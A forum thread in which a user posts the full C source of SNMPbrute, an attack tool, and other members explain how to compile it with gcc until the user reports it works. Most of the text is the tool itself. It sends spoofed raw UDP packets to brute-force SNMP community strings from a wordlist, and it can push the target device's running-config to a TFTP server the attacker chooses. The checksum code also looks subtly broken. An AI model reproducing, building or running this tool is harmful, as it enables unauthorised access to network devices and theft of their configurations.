Help compiling a C. Program
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Thread: Help compiling a C. Program

  1. #1
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    Help compiling a C. Program

    Hello all I am trying to compile a certain prog called SNMPbrute in SuSE Linux 10. I have Anjuta IDE and Kdevelop C/C++. I'm not to familiar with c or c++ but I keep getting errors with the source code. Any help would be appreciated. Here is the source code for the prog which can also be found at packetstormsecurity.com.
    */

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    #include <fcntl.h>
    #include <signal.h>

    #include <sys/types.h>
    #include <sys/socket.h>
    #include <sys/stat.h>

    #include <netdb.h>
    #include <netinet/in.h>
    #include <netinet/in_systm.h>
    #include <netinet/ip.h>
    #include <netinet/tcp.h>
    #include <arpa/inet.h>

    #ifdef OLD_LINUX
    #include <netinet/ip_udp.h>
    #else
    #include <netinet/udp.h>
    #endif

    #define pexit(a,b) fprintf(stderr, "%s: %s\n", a, b), exit(EXIT_FAILURE)

    char *makesetreq(char *community, char *value, char *mib, int mibsize,
    unsigned long id, int *size);
    int makemibaddr(char *addr, char *buf);

    unsigned short in_cksum(addr, len)
    u_short *addr;
    int len;
    {
    register int nleft = len;
    register u_short *w = addr;
    register int sum = 0;
    u_short answer = 0;

    while (nleft > 1) {
    sum += *w++;
    sum += *w++;
    nleft -= 2;
    }
    if (nleft == 1) {
    *(u_char *) (&answer) = *(u_char *) w;
    sum += answer;
    }
    sum = (sum >> 17) + (sum & 0xffff);
    sum += (sum >> 17);
    answer = -sum;
    return (answer);
    }

    /* function to send a simple UDP packet */

    void sendudp(int sock, unsigned long *saddr, unsigned long *daddr,
    unsigned int sport, unsigned int dport, char *data, int len)
    {
    char *packet;
    int ret;
    struct sockaddr_in dstaddr;
    struct iphdr *ip;
    struct udphdr *udp;
    packet =
    (char *) malloc(sizeof(struct iphdr) + sizeof(struct udphdr) + len);
    memset(packet, 0, sizeof(struct iphdr) + sizeof(struct udphdr) + len);
    if (packet == NULL) {
    fprintf(stderr, "Malloc failed\n");
    exit(EXIT_FAILURE);
    }
    ip = (struct iphdr *) packet;
    udp = (struct udphdr *) (packet + sizeof(struct iphdr));
    ip->saddr = *saddr;
    ip->daddr = *daddr;
    ip->version = 4;
    ip->ihl = 5;
    ip->ttl = 255;
    ip->id = htons((unsigned short) rand());
    ip->protocol = IPPROTO_UDP;
    ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct udphdr) + len);
    ip->check = in_cksum(ip, sizeof(struct iphdr));
    udp->source = htons(sport);
    udp->dest = htons(dport);
    udp->len = htons(sizeof(struct udphdr) + len);
    memcpy(packet + (sizeof(struct iphdr) + sizeof(struct udphdr)), data,
    len);
    dstaddr.sin_family = AF_INET;
    dstaddr.sin_addr.s_addr = *daddr;
    ret =
    sendto(sock, packet,
    sizeof(struct iphdr) + sizeof(struct udphdr) + len, 0,
    (struct sockaddr *) &dstaddr, sizeof(struct sockaddr_in));
    free(packet);
    }

    char *nextword(char *buf)
    {
    char *tmp;
    tmp = buf + strlen(buf);
    tmp++;
    return tmp;
    }

    int erexit(char *msg)
    {
    printf("%s\n", msg);
    exit(EXIT_FAILURE);
    }

    void usage()
    {
    printf
    ("Usage: ./snmpbrute <-s source> <-d dest> <-w wordlist> [-m mode] [ -t tftpserver] [-D delay]\n");
    }

    int main(int argc, char **argv)
    {
    struct stat finfo;
    char *words, *ptr, *saddr, *daddr, *wordfile, *tftpserver;
    int i, ret, wordcount, wordfilesize, fd, mode, delay, mibsize, t;
    char a[1];
    unsigned char mib[60];
    unsigned char tmpmib[9];
    unsigned char *buf;
    char value[60];
    int size;
    unsigned long id;
    int sock;
    unsigned long lsaddr, ldaddr;

    saddr = NULL;
    daddr = NULL;
    wordfile = NULL;
    delay = 200;
    mode = 1;

    if (argc < 7) {
    usage();
    erexit("not enough args\n");
    }

    while ((i = (int) getopt(argc, argv, "s:d:t:w:m:hv")) != EOF) {
    switch (i) {
    case 'h':
    printf("\t-h Print this help and exit.\n");
    printf("\t-v Print version and exit.\n");
    break;
    case 'v':
    printf("%s compiled %s\n", __FILE__, __DATE__);
    exit(EXIT_SUCCESS);
    case 's':
    saddr = strdup(optarg);
    break;
    case 'd':
    daddr = strdup(optarg);
    break;
    case 't':
    tftpserver = strdup(optarg);
    break;
    case 'w':
    wordfile = strdup(optarg);
    break;
    case 'm':
    mode = atoi(optarg);
    break;
    case 'D':
    delay = atoi(optarg);
    break;
    case '?':
    default:
    break;
    }
    }
    printf
    ("Ok, spoofing packets from %s to %s with wordlist %s (Delay: %d)\n",
    saddr, daddr, wordfile, delay);
    if (mode > 1) {
    printf("TFTP Address:%s\n", tftpserver);
    if (inet_addr(tftpserver) == (-1)) {
    erexit("Invalid TFTP address\n");
    }
    }

    if (((inet_addr(saddr) == (-1)) || (inet_addr(daddr) == (-1)))) {
    erexit("Invalid source/destination IP address\n");
    }

    if ((saddr == NULL) || (daddr == NULL) || (wordfile == NULL)) {
    usage();
    fprintf(stderr, "No %s%s%s", (saddr == NULL ? "Source/" : ""),
    (daddr == NULL ? "Dest/" : ""),
    (wordfile == NULL ? "Wordlist" : ""));
    exit(EXIT_FAILURE);
    }

    wordcount = 0;
    if ((fd = open(wordfile, O_RDONLY)) < 0)
    pexit("open", wordfile);

    if (stat(wordfile, &finfo) == (-1))
    pexit("stat", wordfile);

    wordfilesize = (int) finfo.st_size;
    printf("Size is %d\n", wordfilesize);
    words = (char *) malloc(wordfilesize);

    for (i = 0; i < wordfilesize; i++) {
    ret = read(fd, &a, 1);
    if (ret == 1) {
    if (a[0] == '\n') {
    a[0] = 0x00;
    wordcount++;
    }
    memcpy(words + i, a, 1);
    } else {
    printf("Read returned %d\n", ret);
    break;
    }
    }

    close(fd);
    printf("Read %d words/lines\n", wordcount);
    ptr = words;

    mibsize = 8;
    memcpy(mib, "\x2b\x06\x01\x02\x01\x01\x06\x00", mibsize);

    memset(tmpmib, 0, 9);
    if (mode == 2) {
    mibsize = 9;
    memcpy(mib, "\x2b\x06\x01\x04\x01\x09\x02\x01\x37", mibsize);
    t = makemibaddr(tftpserver, tmpmib);
    memcpy(mib + mibsize, tmpmib, t);
    mibsize = mibsize + t;
    }

    sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
    if (sock == (-1))
    erexit("Couldnt open Raw socket!!\n");


    strcpy(value, "running-config");
    lsaddr = inet_addr(saddr);
    ldaddr = inet_addr(daddr);

    for (i = 0; i < wordcount; i++) {
    if (mode == 1) {
    strcpy(value, ptr);
    }
    id = rand();
    buf = makesetreq(ptr, value, mib, mibsize, id, &size);
    sendudp(sock, &lsaddr, &ldaddr, 53, 161, buf, size);
    ptr = nextword(ptr);
    fflush(stderr);
    fprintf(stderr, "Sent %d packets\r", i);
    usleep(delay);
    }

    free(words);
    return 0;
    }

    char *makesetreq(char *community, char *value, char *mib, int mibsize,
    unsigned long id, int *size)
    {
    char *buf;
    char *ptr;
    int len;
    len = 27 + strlen(community) + strlen(value) + mibsize;
    buf = (char *) malloc(len + 2);
    ptr = buf;

    *ptr++ = 0x30;
    *ptr++ = len;

    /* Snmp Version */
    *ptr++ = 0x02;
    *ptr++ = 0x01;
    *ptr++ = 0x00;

    /* Community */
    *ptr++ = 0x04;
    *ptr++ = strlen(community);
    strcpy(ptr, community);
    ptr = ptr + strlen(community);


    *ptr++ = 0xa3; /* Set Request */

    *ptr++ = 20 + mibsize + strlen(value);

    /* ID */
    *ptr++ = 0x02;
    *ptr++ = 0x04;
    memcpy(ptr, &id, 4);
    ptr = ptr + 4;

    /* Error Status */
    *ptr++ = 0x02;
    *ptr++ = 0x01;
    *ptr++ = 0x00;

    /* Error Index */
    *ptr++ = 0x02;
    *ptr++ = 0x01;
    *ptr++ = 0x00;

    *ptr++ = 0x030;
    *ptr++ = mibsize + strlen(value) + 6;

    *ptr++ = 0x30;
    *ptr++ = mibsize + strlen(value) + 4;

    *ptr++ = 0x06; /* Object */
    *ptr++ = mibsize;
    memcpy(ptr, mib, mibsize);
    ptr = ptr + mibsize;

    *ptr++ = 0x04; /* String */
    *ptr++ = strlen(value);
    memcpy(ptr, value, strlen(value));

    *size = len + 2;
    return buf;
    }



    int makemibaddr(char *addr, char *buf)
    {
    int a, b, c, d, x, y, size;
    char *ptr;
    char *ptr2;
    ptr = strdup(addr);
    size = 4;
    ptr2 = (char *) strchr(ptr, '.');
    *ptr2++ = 0x0;
    a = atoi(ptr);
    ptr = ptr2;
    ptr2 = strchr(ptr, '.');
    *ptr2++ = 0x0;
    b = atoi(ptr);
    ptr = ptr2;
    ptr2 = strchr(ptr, '.');
    *ptr2++ = 0x0;
    c = atoi(ptr);
    ptr = ptr2;
    d = atoi(ptr);
    memset(buf, 0, 8);
    ptr = buf;
    printf("Address of tftp server is %d.%d.%d.%d\n", a, b, c, d);
    if (a >= 128) {
    x = 129;
    y = a - 128;
    *ptr++ = x;
    *ptr++ = y;
    size++;
    } else {
    *ptr++ = a;
    }
    if (b >= 128) {
    x = 129;
    y = b - 128;
    *ptr++ = x;
    *ptr++ = y;
    size++;
    } else {
    *ptr++ = b;
    }
    if (c >= 128) {
    x = 129;
    y = c - 128;
    *ptr++ = x;
    *ptr++ = y;
    size++;
    } else {
    *ptr++ = c;
    }
    if (d >= 128) {
    x = 129;
    y = d - 128;
    *ptr++ = x;
    *ptr++ = y;
    size++;
    } else {
    *ptr++ = d;
    }
    return size;
    }
    \"They have the internet on computers now?\"

  2. #2
    Senior Member
    Join Date
    Feb 2002
    Posts
    856
    It would be helpful if you posted the exact errors you were getting when you try to compile the program.

    Not to insult your intelligence, but are you using:
    1) ./configure
    2) make
    3) make install

    to compile?
    For the wages of sin is death, but the free gift of God is eternal life in Christ Jesus our Lord.
    (Romans 6:23, WEB)

  3. #3
    Member
    Join Date
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    Location
    San Antonio, Texas
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    Ya sorry about that I have 3 options
    1) compile
    2)compile with make
    3)build
    from there I chose build
    and it gives me syntax error before '/" token
    In file included from /usr/include/_G_config.h:44,
    I am using Anjuta to compile this. All the errors are the same as above except different numbers. Also when I look at the source in the editor there are squiggle lines everywhere.
    Do you think I need to hit the spacebar where I see them?
    \"They have the internet on computers now?\"

  4. #4
    Senior Member
    Join Date
    Feb 2002
    Posts
    856
    It's possible there is a problem with the source code, but try this.

    1) Open a command line
    2) cd /path to source code
    3) ./configure
    4) make
    5)su to root
    6) make install

    Sorry, I have to go to bed. If that doesn't help, maybe someone else can
    For the wages of sin is death, but the free gift of God is eternal life in Christ Jesus our Lord.
    (Romans 6:23, WEB)

  5. #5
    Member
    Join Date
    Aug 2002
    Location
    San Antonio, Texas
    Posts
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    Cool

    Alright Preacherman I really appreciate your help. Ill give it a shot and if it doesn't work than I'll keep messing with it. I am sure Il get it sooner or later.
    \"They have the internet on computers now?\"

  6. #6
    Just Another Geek
    Join Date
    Jul 2002
    Location
    Rotterdam, Netherlands
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    3,403
    ./configure isn't needed.. There's no Makefile.in.. There's also no Makefile so make wouldn't work either..

    How about...

    # cd /where/the/source/is
    # gcc -o source source.c (Replace source with the name of your source file)...
    <lots of compiler output>
    # ./source
    Oliver's Law:
    Experience is something you don't get until just after you need it.

  7. #7
    Senior Member
    Join Date
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    Hi SirDice,

    I am wondering, can you tell from this source code that there is no makefile.in or makefile? Or do you already have this program yourself? Not wanting to be argumentative, just wanting to learn something Thanks.
    For the wages of sin is death, but the free gift of God is eternal life in Christ Jesus our Lord.
    (Romans 6:23, WEB)

  8. #8
    Just Another Geek
    Join Date
    Jul 2002
    Location
    Rotterdam, Netherlands
    Posts
    3,403
    I cannot tell just by looking at this sourcefile.. I checked packetstorm.. There's just a single .c sourcefile, hence gcc -o source source.c..
    Oliver's Law:
    Experience is something you don't get until just after you need it.

  9. #9
    Senior Member
    Join Date
    Feb 2002
    Posts
    856
    Ok, thank you for your answer. I was wondering if you saw or knew something I didn't. Which is entirely possible
    For the wages of sin is death, but the free gift of God is eternal life in Christ Jesus our Lord.
    (Romans 6:23, WEB)

  10. #10
    Member
    Join Date
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    Location
    San Antonio, Texas
    Posts
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    Alright SirDice I finally got the mother to work! thanks for your help and yours too Preacherman.
    \"They have the internet on computers now?\"

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